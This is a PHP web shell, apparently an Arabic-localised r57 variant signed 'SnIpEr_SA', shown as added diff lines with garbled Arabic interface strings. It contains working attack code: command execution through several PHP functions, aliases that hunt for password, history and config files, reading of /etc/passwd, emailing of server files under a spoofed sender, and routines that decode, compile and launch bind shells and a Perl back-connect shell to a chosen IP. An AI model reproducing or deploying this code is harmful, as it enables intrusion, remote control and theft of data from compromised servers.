+'eng_text51'=>'ÚÑÖ ãÚáæãÇÊ ÇáÐÇßÑÉ',
+'eng_text52'=>'ÈÍË äÕ',
+'eng_text53'=>'Ýí ÇáãÓÇÑ',
+'eng_text54'=>'ÈÍË Úä äÕ Ýí ÇáãáÝÇÊ',
+'eng_butt12'=>'ÈÍË',
+'eng_text55'=>'ÝÞØ Ýí ÇáãáÝÇÊ',
+'eng_text56'=>'áÇíæÌÏ :(',
+'eng_text57'=>'ÇäÔÇÁ/ãÓÍ ãáÝ/ãÌáÏ',
+'eng_text58'=>'ÇáÇÓã',
+'eng_text59'=>'ãáÝ',
+'eng_text60'=>'ãÌáÏ',
+'eng_butt13'=>'ÅäÔÇÁ /ãÓÍ',
+'eng_text61'=>'Êã ÅäÔÇÁ ÇáãáÝ',
+'eng_text62'=>'Êã ÅäÔÇÁ ÇáãÌáÏ',
+'eng_text63'=>'Êã ãÓÍ ÇáãáÝ',
+'eng_text64'=>'Êã ãÓÍ ÇáãÌáÏ',
+'eng_text65'=>'ÅäÔÇÁ',
+'eng_text66'=>'ãÓÍ',
+'eng_text67'=>'ÇáÊÕÑíÍ/ÇáãÓÊÎÏã/ÇáãÌãæÚÉ',
+'eng_text68'=>'ÇãÑ',
+'eng_text69'=>'ÅÓã ÇáãáÝ',
+'eng_text70'=>'ÇáÊÕÑíÍ',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'ÇáäÕ ÇáãÑÇÏ',
+'eng_text73'=>'ÈÍË Ýí ÇáãÌáÏÇÊ',
+'eng_text74'=>'ÈÍË Ýí ÇáãáÝÇÊ',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'ÇáÈÍË Úä äÕ Ýí ãáÝÇÊ ÈæÇÓØå find',
+'eng_text80'=>'ÇáäæÚ',
+'eng_text81'=>'ÇáÅÊÕÇáÇÊ',
+'eng_text82'=>'ÞæÇÚÏ ÇáÈíÇäÇÊ',
+'eng_text83'=>'ÊÔÛíá ÇãÑ ÇÓÊÚáÇã',
+'eng_text84'=>'ÇÓÊÚáÇã ÞÇÚÏÉ',
+'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
+'eng_text86'=>'ÊäÒíá ãáÝÇÊ ãä ÇáÓíÑÝÑ',
+'eng_butt14'=>'ÊÍãíá',
+'eng_text87'=>'ÊäÒíá ãáÝÇÊ ãä ÎÇÏã ÇáÇÝ Êí Èí',
+'eng_text88'=>'ÓíÑÝÑ ÇáÇÝ Êí Èí:ÇáãäÝÐ',
+'eng_text89'=>'ãáÝ Ýí ÇáÇÝ Êí Èí',
+'eng_text90'=>'ÇáÊÍæíá Çáì',
+'eng_text91'=>'ÇÑÔÝÉ',
+'eng_text92'=>'ãä ÛíÑ ÇáÇÑÔÝÉ',
+'eng_text93'=>'ÇáÇÝ Êí Èí',
+'eng_text94'=>'ÊÎãíä ÇáÇÝ Êí Èí',
+'eng_text95'=>'ÞÇÆãÉ ÇáãÓÊÎÏãíä',
+'eng_text96'=>'áã íÓÊØÚ ÓÍÈ ÞÇÆãÉ ÇáãÓÊÎÏãíä',
+'eng_text97'=>'Êã ÇáÝÍÕ: ',
+'eng_text98'=>'Êã ÈäÌÇÍ: ',
+'eng_text99'=>'* ÇÓÊÎÏã ÇÓãÇÁ ÇáãÓÊÎÏãíä Ýí ãáÝ /etc/passwd áÏÎæá ááÜ ftp',
+'eng_text100'=>'ÇÑÓÇá ãáÝ Çáì ÎÇÏã ÇáÇÝ Êí Èí',
+'eng_text101'=>'ÇÓÊÎÏã ÇáÇÓÇãí ãÚßæÓå áÊÎãíäåÇ',
+'eng_text102'=>'ÎÏãÇÊ ÇáÈÑíÏ',
+'eng_text103'=>'ÇÑÓÇá ÈÑíÏ',
+'eng_text104'=>'ÇÑÓÇá ãáÝ Çáì ÇáÇíãíá',
+'eng_text105'=>'Åáì',
+'eng_text106'=>'ãÜä',
+'eng_text107'=>'ÇáãæÖæÚ',
+'eng_butt15'=>'ÅÑÓÇá',
+'eng_text108'=>'ÇáÑÓÇáÉ',
+'eng_text109'=>'ãÎÝí',
+'eng_text110'=>'ÚÑÖ',
+'eng_text111'=>'ÓíÑÝÑ ÞæÇÚÏ ÇáÈíÇäÇÊ : ÇáãäÝÐ',
+'eng_text112'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ ÏÇáå mb_send_mail',
+'eng_text113'=>'ÞÑÇÆÉ ãÍÊæì ÇáãÌáÏÇÊ Úä ØÑíÞ via imap_list',
+'eng_text114'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ via imap_body',
+'eng_text115'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ compress.zlib://',
+'eng_text116'=>'äÓÎ ãä',
+'eng_text117'=>'Çáì',
+'eng_text118'=>'Êã äÓÎ ÇáãáÝ',
+'eng_text119'=>'áÇíÓÊØíÚ ÇáäÓÎ',
+'eng_err0'=>'ÎØÇÁ ! áÇíãßä ÇáßÊÇÈÉ Úáì åÐÇ ÇáãáÝ ',
+'eng_err1'=>'ÎØÇÁ ! ÛíÑ ÞÇÏÑ Úáì ÞÑÇÆå åÐÇ ÇáãáÝ ',
+'eng_err2'=>'ÎØÇÁ! áÇíãßä ÇáÇäÔÇÁ ',
+'eng_err3'=>'ÎØÇÁ! ÛíÑ ÞÇÏÑ Úáì ÇáÇÊÕÇá ÈÇáÇÝ Êí Èí',
+'eng_err4'=>'ÎØÇÁ ! áÇÊÓÊØíÚ ÇáÏÎæá Çáì ÓíÑÝÑ ÇáÇÝ Êí Èí',
+'eng_err5'=>'ÎØÇÁ ! áÇÊÓÊØíÚ ÊÛíÑ ÇáãÌáÏ Ýí ÇáÇÝ Êí Èí',
+'eng_err6'=>'ÎØÇÁ ! áÇÊÓÊØíÚ ÇÑÓÇá ÑÓÇáå',
+'eng_err7'=>'ÇáÈÑíÏ ÇÑÓá',
+'eng_text200'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ copy()',
+'eng_text202'=>'ãÓÇÑ ÇáãáÝ ÇáãÑÇÏ ÞÑÇÆÊå',
+'eng_text300'=>'ÞÑÇÆå ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ curl()',
+'eng_text302'=>'ãÓÇÑ ÇáãáÝ ÇáãÑÇÏ ÞÑÇÆÊå',
+);
+/*
+?????? ??????
+????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
+?? ?????? ???? ????????? ??? ???????? ???????.
+*/
+$aliases=array(
+'ÇáÈÍË Úä ãáÝÇÊ suid'=>'find / -type f -perm -04000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ suid Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -perm -04000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ suid'=>'find / -type f -perm -02000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ suid Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -perm -02000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ config.inc.php'=>'find / -type f -name config.inc.php',
+'ÇáÈÍË Úä ãáÝÇÊ config.inc.php Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -name config.inc.php',
+'ÇáÈÍË Úä ãáÝÇÊ config* ÈÌãíÚ ÇáÇãÊÏÇÏÇÊ'=>'find / -type f -name "config*"',
+'ÇáÈÍË Úä ãáÝÇÊ config* Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -name "config*"',
+'ÇáÈÍË Úä ÇáãáÝÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ'=>'find / -type f -perm -2 -ls',
+'ÇáÈÍË Úä ÇáãáÝÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -perm -2 -ls',
+'ÇáÈÍË Úä ÇáãÌáÏÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ'=>'find / -type d -perm -2 -ls',
+'ÇáÈÍË Úä ÇáãÌáÏÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type d -perm -2 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ æãÌáÏÇÊ ÞÇÈáÉ ááßÊÇÈÉ'=>'find / -perm -2 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ æãÌáÏÇÊ Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -perm -2 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ service.pwd'=>'find / -type f -name service.pwd',
+'ÇáÈÍË Úä ãáÝÇÊ service.pwd Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name service.pwd',
+'ÇáÈÍË Úä ßá ãáÝÇÊ ÇáÌÏÑÇä ÇáäÇÑíÉ .htpasswd'=>'find / -type f -name .htpasswd',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ ÇáÌÏÑÇä ÇáäÇÑíÉ Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .htpasswd',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .bash_history'=>'find / -type f -name .bash_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .bash_history Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .bash_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .mysql_history'=>'find / -type f -name .mysql_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .mysql_history Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .mysql_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .fetchmailrc'=>'find / -type f -name .fetchmailrc',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .fetchmailrc Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .fetchmailrc',
+'ÇÎÑ ãáÝÇÊ ãÔÛáå Ýí ÇáäÙÇã'=>'lsattr -va',
+'ÑÄíÉ ÇáÈæÑÊÇÊ ÇáãÝÊæÍÉ Ýí ÇáÓíÑÝÑ'=>'netstat -an | grep -i listen',
+'ÑÄíÉ ÍÇáÉ ÇáãÌáÏÇÊ æÇãßÇäíÉ ÇáÊäÝíÐ'=>'cat /etc/fstab',
+'ãÔÇåÏÉ ãáÝ ÇááæÞ áÏÎæá ÇáÓí ÈÇäá æÇáãæÇÞÚ Úáì ÇáÓíÑÝÑ'=>'cat /var/cpanel/accounting.log',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " 4 ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." "; }
+ else
+ {
+ echo '';
+ foreach($users as $user) { echo $user." "; }
+ echo ' ';
+ }
+ echo " "; die();
+ }
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $unix = 0; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function get_users()
+{
+ $users = array();
+ $rows=file('/etc/passwd');
+ if(!$rows) return 0;
+ foreach ($rows as $string)
+ {
+ $user = @explode(":",$string);
+ if(substr($string,0,1)!='#') array_push($users,$user[0]);
+ }
+ return $users;
+}
+function err($n,$txt='')
+{
+echo '';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+function perms($mode)
+{
+if (!$GLOBALS['unix']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value,$checked=0)
+{
+ $ret = " ";
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err(0);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYX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VSUiAiJCFcbiI7fQ0KfX19DQo=";
+if($unix)
+ {
+ if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
+ if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
+ if($safe_mode) { $sysctl = '-'; }
+ else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
+ else
+ {
+ $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
+ if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
+ if(empty($sysctl)) { $sysctl = '-'; }
+ setcookie('sysctl',$sysctl);
+ }
+ }
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print " ";
+@readfile ("http://127.0.0.1/r57shell_version/version.php?version=".$current_version."");}}
+echo ''.ws(2).'N '.ws(2).'SnIpEr_SA ';
+echo ws(2)."".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+if($unix)
+ {
+ echo ws(2).$lb." cpu ".$rb;
+ echo ws(2).$lb." mem ".$rb;
+ echo ws(2).$lb." users ".$rb;
+ }
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2)."ÇáæÖÚ ÇáÇãä: ";
+echo (($safe_mode)?("ÝÚÇá "):("ÛíÑ ÝÚÇá "));
+echo " ".ws(2);
+echo "ÇÕÏÇÑ ÇáÈí ÇÊÔ Èí: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "ÇáßíÑá: ".(($curl_on)?("ÝÚÇá "):("ÛíÑ ÝÚÇá "));
+echo " ".ws(2);
+echo "ãÇí Óßá: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ÝÚÇá "; } else { echo "ÛíÑ ÝÚÇá "; }
+echo " ".ws(2);
+echo "Çã ÇÓ Óßá: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ÝÚÇá ";}else{echo "ÛíÑ ÝÚÇá ";}
+echo " ".ws(2);
+echo "ÈæÓÊ ÞÑí Óßá: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ÝÚÇá ";}else{echo "ÛíÑ ÝÚÇá ";}
+echo " ".ws(2);
+echo "ÇæÑÇßá: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ÝÚÇá ";}else{echo "ãÛáÞ ";}
+echo " ".ws(2);
+echo "ÇáÏæÇá ÇáããäæÚÉ : ";
+if(''==($df=@ini_get('disable_functions'))){echo "áÇíæÌÏ ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+echo " ".ws(2)."ÇáãÓÇÍÉ ÇáÎÇáíå : ".view_size($free)." ÇáãÓÇÍÉ ÇáßáíÉ: ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if($unix){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+if(!empty($id)) { echo ws(3).$id." "; }
+else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
+ {
+ $euserinfo = @posix_getpwuid(@posix_geteuid());
+ $egroupinfo = @posix_getgrgid(@posix_getegid());
+ echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' ) ';
+ }
+else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." ";
+echo ws(3).$dir;
+echo ws(3).'( '.perms(@fileperms($dir)).' )';
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@getenv("USERNAME")." ";
+echo ws(3).$dir;
+echo " ";
+}
+echo "";
+echo "
";
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
+ {
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
+ {
+ if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
+ else
+ {
+ $filename = @basename($_POST['loc_file']);
+ $filedump = @fread($file,@filesize($_POST['loc_file']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ $attach = array(
+ "name"=>$filename,
+ "type"=>$mime_type,
+ "content"=>$filedump
+ );
+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; }
+ if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ $mtime = @filemtime($_POST['e_name']);
+ if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
+ else {
+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
+ @fwrite($file,$_POST['e_text']);
+ @touch($_POST['e_name'],$mtime,$mtime);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
